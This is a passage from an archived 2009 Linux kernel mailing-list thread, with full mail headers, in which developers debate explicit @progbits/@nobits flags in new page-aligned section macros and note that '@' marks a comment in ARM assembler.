	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20027142AbZEARPi (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Fri, 1 May 2009 18:15:38 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 01 May 2009 18:15:21 +0100 (BST)
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:56469 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by ftp.linux-mips.org
	with ESMTP id S20027138AbZEARPO (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Fri, 1 May 2009 18:15:14 +0100
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id 1166AF8404F;
	Fri,  1 May 2009 19:15:06 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 4C36F580D0; Fri,  1 May 2009 19:17:17 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <49FB2449.1010301@zytor.com>
User-Agent: Mutt/1.4.2.1i
X-archive-position: 22594
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sam@ravnborg.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23623 gmane.linux.kernel:830882 gmane.linux.ports.alpha:530 gmane.linux.ports.ia64:20331 gmane.linux.ports.m68k:701 gmane.linux.ports.parisc:1615 gmane.linux.ports.ppc64.devel:55746 gmane.linux.ports.sh.devel:5875 gmane.linux.uclinux.microblaze:8594 gmane.linux.ports.sparc:11560 gmane.linux.hardware.blackfin.kernel.devel:1368 gmane.linux.uml.devel:12192
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1615>

On Fri, May 01, 2009 at 09:33:13AM -0700, H. Peter Anvin wrote:
> Tim Abbott wrote:
> > On Fri, 1 May 2009, Sam Ravnborg wrote:
> > 
> >> On Thu, Apr 30, 2009 at 03:54:08PM -0400, Tim Abbott wrote:
> >>> +#define __PAGE_ALIGNED_DATA	.section ".data.page_aligned", "aw", @progbits
> >>> +#define __PAGE_ALIGNED_BSS	.section ".bss.page_aligned", "aw", @nobits
> >> It is my understanding that the linker will automatically
> >> assume nobits for section names starting with .bss and likewise
> >> progbits for section names starting with .data - so we can leave them out?
> > 
> > I believe that is correct.
> > 
> 
> ... but that doesn't mean it's the right thing to do.
> 
> It's better to be fully explicit when macroizing this kind of stuff.
> This is part of why macroizing it is good: it means we end up with *one*
> place that determines this stuff, not some magic heuristics in the linker.

Do you know if we can use % in place of @?
I could see that gas supports both - at least in trunk in cvs.

	Sam



From - Thu Nov 08 21:04:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.uclinux.microblaze,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 1/6] Add new macros for page-aligned data and bss sections.
Date: Fri, 01 May 2009 10:18:20 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <49FB2EDC.9050300@zytor.com>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu> <1241121253-32341-2-git-send-email-tabbott@mit.edu> <20090501091848.GB18326@uranus.ravnborg.org> <alpine.DEB.1.10.0905010951100.3955@vinegar-pot.mit.edu> <49FB2449.1010301@zytor.com> <20090501171717.GA26401@uranus.ravnborg.org>
Reply-To: microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241198807 25503 80.91.229.12 (1 May 2009 17:26:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 17:26:47 +0000 (UTC)
Cc: Tim Abbott <tabbott-DPNOqEs/LNQ@public.gmane.org>,
        Linux kernel mailing list <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Anders Kaseorg <andersk-DPNOqEs/LNQ@public.gmane.org>, Waseem Daher <wdaher-DPNOqEs/LNQ@public.gmane.org>,
        Denys Vlasenko <vda.linux-gM/Ye1E23mwN+BqQ9rBEUg@public.gmane.org>,
        Jeff Arnold <jbarnold-DPNOqEs/LNQ@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Bryan Wu <cooloney-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>,
        Cyrill Gorcunov <gorcunov-GEFAQzZX7r8dnm+yROfE0A@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        "David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>, dev-etrax-VrBV9hrLPhE@public.gmane.org,
        Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
        Greg Ungerer <gerg-JBU5SbJe1FlAfugRpC6u6w@public.gmane.org>,
        Haavard Skinnemoen <hskinnemoen-AIFe0yeh4nAAvxtiuMwx3w@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>,
        Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Jeff Dike <jdike-OPE4K8JWMJJBDgjK7y7TUQ@public.gmane.org
To: Sam Ravnborg <sam-uyr5N9Q2VtJg9hUCZPvPmw@public.gmane.org>
Original-X-From: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org Fri May 01 19:26:29 2009
Return-path: <owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>
Envelope-to: glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from mailhub3.uq.edu.au ([130.102.148.131])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzwVC-0006NL-Pm
	for glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Fri, 01 May 2009 19:26:23 +0200
Original-Received: from smtp3.uq.edu.au (smtp3.uq.edu.au [130.102.128.18])
	by mailhub3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41HPi3U028600;
	Sat, 2 May 2009 03:25:44 +1000
Original-Received: from mailhub.itee.uq.edu.au (extmail-241.itee.uq.edu.au [130.102.79.241])
	by smtp3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41HPfoj032059
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sat, 2 May 2009 03:25:41 +1000
Original-Received: from gum.itee.uq.edu.au (gum.itee.uq.edu.au [130.102.66.1])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n41HP5BA016584;
	Sat, 2 May 2009 03:25:22 +1000 (EST)
Original-Received: from gum.itee.uq.edu.au (localhost.itee.uq.edu.au [127.0.0.1])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n41HObvS020722
	for <microblaze-uclinux-outgoing-/Rdr+DW8qTrcpvZZ8pFdvhCuuivNXqWP@public.gmane.org>; Sat, 2 May 2009 03:24:37 +1000
Original-Received: (from majordom@localhost)
	by gum.itee.uq.edu.au (8.13.1/8.13.1/Submit) id n41HObwT020721
	for microblaze-uclinux-outgoing; Sat, 2 May 2009 03:24:37 +1000
Original-Received: from mailhub.itee.uq.edu.au (extmail-240.itee.uq.edu.au [130.102.79.240])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n41HOUPR020713
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 03:24:30 +1000
Original-Received: from mailhub4.uq.edu.au (mailhub4.uq.edu.au [130.102.149.131])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n41HOKht027416
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 03:24:21 +1000 (EST)
Original-Received: from smtp4.uq.edu.au (smtp4.uq.edu.au [130.102.128.19])
	by mailhub4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41HOKJ1000896
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 03:24:20 +1000
Original-Received: from uqexav02.soe.uq.edu.au (uqexav02.soe.uq.edu.au [130.102.4.249])
	by smtp4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41HOKVN011310
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 03:24:20 +1000
Original-Received: from uqexav01.soe.uq.edu.au ([130.102.4.248]) by uqexav02.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 03:24:20 +1000
Original-Received: from uqeximf01.soe.uq.edu.au ([130.102.6.16]) by uqexav01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 03:24:20 +1000
Original-Received: from uqeximf02.soe.uq.edu.au ([130.102.6.17]) by uqeximf01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 03:24:20 +1000
Original-Received: from mailhub4.uq.edu.au ([130.102.149.131]) by uqeximf02.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 03:24:20 +1000
Original-Received: from mx1.uq.edu.au (mx1.uq.edu.au [203.101.255.13])
	by mailhub4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41HOKcP000879
	for <microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org>; Sat, 2 May 2009 03:24:20 +1000
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: Ai8DANTM+knGicoKmWdsb2JhbACBUJUWAQEBAQEICwoHEbhxg30F
X-IronPort-AV: E=Sophos;i="4.40,280,1238940000"; 
   d="scan'208";a="9747952"
Original-Received: from terminus.zytor.com ([198.137.202.10])
  by mx1.uq.edu.au with ESMTP; 02 May 2009 03:24:19 +1000
Original-Received: from mail.hos.anvin.org (c-98-210-181-100.hsd1.ca.comcast.net [98.210.181.100])
	(authenticated bits=0)
	by terminus.zytor.com (8.14.3/8.14.1) with ESMTP id n41HIPSU028658
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 1 May 2009 10:18:25 -0700
Original-Received: from tazenda.hos.anvin.org (tazenda.hos.anvin.org [172.27.0.16])
	by mail.hos.anvin.org (8.14.2/8.13.8) with ESMTP id n41HIOqU009097;
	Fri, 1 May 2009 10:18:24 -0700
Original-Received: from tazenda.hos.anvin.org (localhost.localdomain [127.0.0.1])
	by tazenda.hos.anvin.org (8.14.3/8.13.6) with ESMTP id n41HIK58014054;
	Fri, 1 May 2009 10:18:22 -0700
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20090501171717.GA26401-QabhHTsIXMSnlFQ6Q1D1Y0B+6BGkLq7r@public.gmane.org>
X-Virus-Scanned: ClamAV 0.94.2/9309/Thu Apr 30 20:55:03 2009 on terminus.zytor.com
X-Virus-Status: Clean
X-UQ-FilterTime: 1241198744
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.148.131
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.245
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.244
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.149.131
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.149.131
X-OriginalArrivalTime: 01 May 2009 17:24:20.0112 (UTC) FILETIME=[A98F9100:01C9CA81]
X-Spam-Score: 0.01 () LOCAL_MUST_ACT
X-ITEE-Spam-Score: 0.01 () LOCAL_MUST_ACT
X-ITEE-Spam-Score: -0.99 () LOCAL_MUST_ACT,RCVD_IN_DNSWL_LOW
Original-Sender: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org
Precedence: bulk
Xref: news.gmane.org gmane.linux.uclinux.microblaze:8595 gmane.linux.kernel:830888 gmane.linux.ports.alpha:531 gmane.linux.ports.ia64:20332 gmane.linux.ports.m68k:702 gmane.linux.ports.mips.general:23624 gmane.linux.ports.parisc:1616 gmane.linux.ports.ppc64.devel:55748 gmane.linux.ports.sh.devel:5876 gmane.linux.ports.sparc:11561 gmane.linux.hardware.blackfin.kernel.devel:1369 gmane.linux.uml.devel:12193
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1616>

Sam Ravnborg wrote:
> On Fri, May 01, 2009 at 09:33:13AM -0700, H. Peter Anvin wrote:
>> Tim Abbott wrote:
>>> On Fri, 1 May 2009, Sam Ravnborg wrote:
>>>
>>>> On Thu, Apr 30, 2009 at 03:54:08PM -0400, Tim Abbott wrote:
>>>>> +#define __PAGE_ALIGNED_DATA	.section ".data.page_aligned", "aw", @progbits
>>>>> +#define __PAGE_ALIGNED_BSS	.section ".bss.page_aligned", "aw", @nobits
>>>> It is my understanding that the linker will automatically
>>>> assume nobits for section names starting with .bss and likewise
>>>> progbits for section names starting with .data - so we can leave them out?
>>> I believe that is correct.
>>>
>> ... but that doesn't mean it's the right thing to do.
>>
>> It's better to be fully explicit when macroizing this kind of stuff.
>> This is part of why macroizing it is good: it means we end up with *one*
>> place that determines this stuff, not some magic heuristics in the linker.
> 
> Do you know if we can use % in place of @?
> I could see that gas supports both - at least in trunk in cvs.
> 

I think it might depend on the architecture(!)... but it would
definitely have to be an issue with testing a bunch of different versions.

What's wrong with @?

	-hpa

-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.


From - Thu Nov 08 21:04:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 1/6] Add new macros for page-aligned data and bss sections.
Date: Fri, 1 May 2009 19:44:57 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20090501174457.GA26559@uranus.ravnborg.org>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu> <1241121253-32341-2-git-send-email-tabbott@mit.edu> <20090501091848.GB18326@uranus.ravnborg.org> <alpine.DEB.1.10.0905010951100.3955@vinegar-pot.mit.edu> <49FB2449.1010301@zytor.com> <20090501171717.GA26401@uranus.ravnborg.org> <49FB2EDC.9050300@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241199820 28612 80.91.229.12 (1 May 2009 17:43:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 17:43:40 +0000 (UTC)
Cc: Tim Abbott <tabbott@MIT.EDU>,
	Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@MIT.EDU>,
	Waseem Daher <wdaher@MIT.EDU>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@MIT.EDU>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Ingo Molnar <mingo@redhat.com>, Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <torv
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri May 01 19:43:22 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzwld-0005lR-8v
	for sgi-linux-mips@gmane.org; Fri, 01 May 2009 19:43:21 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:36028 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20027253AbZEARnP (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Fri, 1 May 2009 18:43:15 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 01 May 2009 18:42:58 +0100 (BST)
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:46599 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by ftp.linux-mips.org
	with ESMTP id S20027248AbZEARmv (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Fri, 1 May 2009 18:42:51 +0100
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id DAE74F8404D;
	Fri,  1 May 2009 19:42:47 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 09233580D0; Fri,  1 May 2009 19:44:58 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <49FB2EDC.9050300@zytor.com>
User-Agent: Mutt/1.4.2.1i
X-archive-position: 22596
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sam@ravnborg.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23625 gmane.linux.kernel:830893 gmane.linux.ports.alpha:532 gmane.linux.ports.ia64:20333 gmane.linux.ports.m68k:703 gmane.linux.ports.parisc:1617 gmane.linux.ports.ppc64.devel:55749 gmane.linux.ports.sh.devel:5877 gmane.linux.uclinux.microblaze:8596 gmane.linux.ports.sparc:11562 gmane.linux.hardware.blackfin.kernel.devel:1370 gmane.linux.uml.devel:12194
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1617>

On Fri, May 01, 2009 at 10:18:20AM -0700, H. Peter Anvin wrote:
> Sam Ravnborg wrote:
> > On Fri, May 01, 2009 at 09:33:13AM -0700, H. Peter Anvin wrote:
> >> Tim Abbott wrote:
> >>> On Fri, 1 May 2009, Sam Ravnborg wrote:
> >>>
> >>>> On Thu, Apr 30, 2009 at 03:54:08PM -0400, Tim Abbott wrote:
> >>>>> +#define __PAGE_ALIGNED_DATA	.section ".data.page_aligned", "aw", @progbits
> >>>>> +#define __PAGE_ALIGNED_BSS	.section ".bss.page_aligned", "aw", @nobits
> >>>> It is my understanding that the linker will automatically
> >>>> assume nobits for section names starting with .bss and likewise
> >>>> progbits for section names starting with .data - so we can leave them out?
> >>> I believe that is correct.
> >>>
> >> ... but that doesn't mean it's the right thing to do.
> >>
> >> It's better to be fully explicit when macroizing this kind of stuff.
> >> This is part of why macroizing it is good: it means we end up with *one*
> >> place that determines this stuff, not some magic heuristics in the linker.
> > 
> > Do you know if we can use % in place of @?
> > I could see that gas supports both - at least in trunk in cvs.
> > 
> 
> I think it might depend on the architecture(!)... but it would
> definitely have to be an issue with testing a bunch of different versions.
> 
> What's wrong with @?
arm does not support it :-(
I recall it denote a comment in arm assembler.

I could do some magic to detect the ARM case but I'm reluctant to do so.
I could also ignore the arm issue for now as it is not used by arm,
but that strikes me as the wrong approach.


	Sam



From - Thu Nov 08 21:04:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.uclinux.microblaze,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 1/6] Add new macros for page-aligned data and bss sections.
Date: Fri, 01 May 2009 10:47:48 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <49FB35C4.6060107@zytor.com>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu> <1241121253-32341-2-git-send-email-tabbott@mit.edu> <20090501091848.GB18326@uranus.ravnborg.org> <alpine.DEB.1.10.0905010951100.3955@vinegar-pot.mit.edu> <49FB2449.1010301@zytor.com> <20090501171717.GA26401@uranus.ravnborg.org> <49FB2EDC.9050300@zytor.com> <20090501174457.GA26559@uranus.ravnborg.org>
Reply-To: microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241200563 30749 80.91.229.12 (1 May 2009 17:56:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 17:56:03 +0000 (UTC)
Cc: Tim Abbott <tabbott-DPNOqEs/LNQ@public.gmane.org>,
        Linux kernel mailing list <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Anders Kaseorg <andersk-DPNOqEs/LNQ@public.gmane.org>, Waseem Daher <wdaher-DPNOqEs/LNQ@public.gmane.org>,
        Denys Vlasenko <vda.linux-gM/Ye1E23mwN+BqQ9rBEUg@public.gmane.org>,
        Jeff Arnold <jbarnold-DPNOqEs/LNQ@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Bryan Wu <cooloney-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>,
        Cyrill Gorcunov <gorcunov-GEFAQzZX7r8dnm+yROfE0A@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        "David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>, dev-etrax-VrBV9hrLPhE@public.gmane.org,
        Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
        Greg Ungerer <gerg-JBU5SbJe1FlAfugRpC6u6w@public.gmane.org>,
        Haavard Skinnemoen <hskinnemoen-AIFe0yeh4nAAvxtiuMwx3w@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>,
        Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Jeff Dike <jdike-OPE4K8JWMJJBDgjK7y7TUQ@public.gmane.org
To: Sam Ravnborg <sam-uyr5N9Q2VtJg9hUCZPvPmw@public.gmane.org>
Original-X-From: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org Fri May 01 19:55:44 2009
Return-path: <owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>
Envelope-to: glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from mailhub3.uq.edu.au ([130.102.148.131])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzwxY-00036N-K5
	for glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Fri, 01 May 2009 19:55:41 +0200
Original-Received: from smtp4.uq.edu.au (smtp4.uq.edu.au [130.102.128.19])
	by mailhub3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41HsoIp000741;
	Sat, 2 May 2009 03:54:50 +1000
Original-Received: from mailhub.itee.uq.edu.au (extmail-241.itee.uq.edu.au [130.102.79.241])
	by smtp4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41Hsmi6023755
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sat, 2 May 2009 03:54:49 +1000
Original-Received: from gum.itee.uq.edu.au (gum.itee.uq.edu.au [130.102.66.1])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n41Hs7a3013248;
	Sat, 2 May 2009 03:54:29 +1000 (EST)
Original-Received: from gum.itee.uq.edu.au (localhost.itee.uq.edu.au [127.0.0.1])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n41HrGtv026640
	for <microblaze-uclinux-outgoing-/Rdr+DW8qTrcpvZZ8pFdvhCuuivNXqWP@public.gmane.org>; Sat, 2 May 2009 03:53:16 +1000
Original-Received: (from majordom@localhost)
	by gum.itee.uq.edu.au (8.13.1/8.13.1/Submit) id n41HrG5b026639
	for microblaze-uclinux-outgoing; Sat, 2 May 2009 03:53:16 +1000
Original-Received: from mailhub.itee.uq.edu.au (extmail-240.itee.uq.edu.au [130.102.79.240])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n41HrCZV026634
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 03:53:12 +1000
Original-Received: from mailhub3.uq.edu.au (mailhub3.uq.edu.au [130.102.148.131])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n41Hr0vO012371
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 03:53:01 +1000 (EST)
Original-Received: from smtp3.uq.edu.au (smtp3.uq.edu.au [130.102.128.18])
	by mailhub3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41Hr0YV008179
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 03:53:00 +1000
Original-Received: from uqexav02.soe.uq.edu.au (uqexav02.soe.uq.edu.au [130.102.4.249])
	by smtp3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41Hr0dp021317
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 03:53:00 +1000
Original-Received: from uqexav01.soe.uq.edu.au ([130.102.4.248]) by uqexav02.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 03:52:59 +1000
Original-Received: from uqeximf01.soe.uq.edu.au ([130.102.6.16]) by uqexav01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 03:52:57 +1000
Original-Received: from uqeximf02.soe.uq.edu.au ([130.102.6.17]) by uqeximf01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 03:52:57 +1000
Original-Received: from mailhub4.uq.edu.au ([130.102.149.131]) by uqeximf02.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 03:52:57 +1000
Original-Received: from mx1.uq.edu.au (mx1.uq.edu.au [203.101.255.13])
	by mailhub4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41HqvMT009431
	for <microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org>; Sat, 2 May 2009 03:52:57 +1000
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: Ai8DANzT+knGicoKmWdsb2JhbACBUJUWAQEBAQEICwoHEbhHg30F
X-IronPort-AV: E=Sophos;i="4.40,280,1238940000"; 
   d="scan'208";a="9748932"
Original-Received: from terminus.zytor.com ([198.137.202.10])
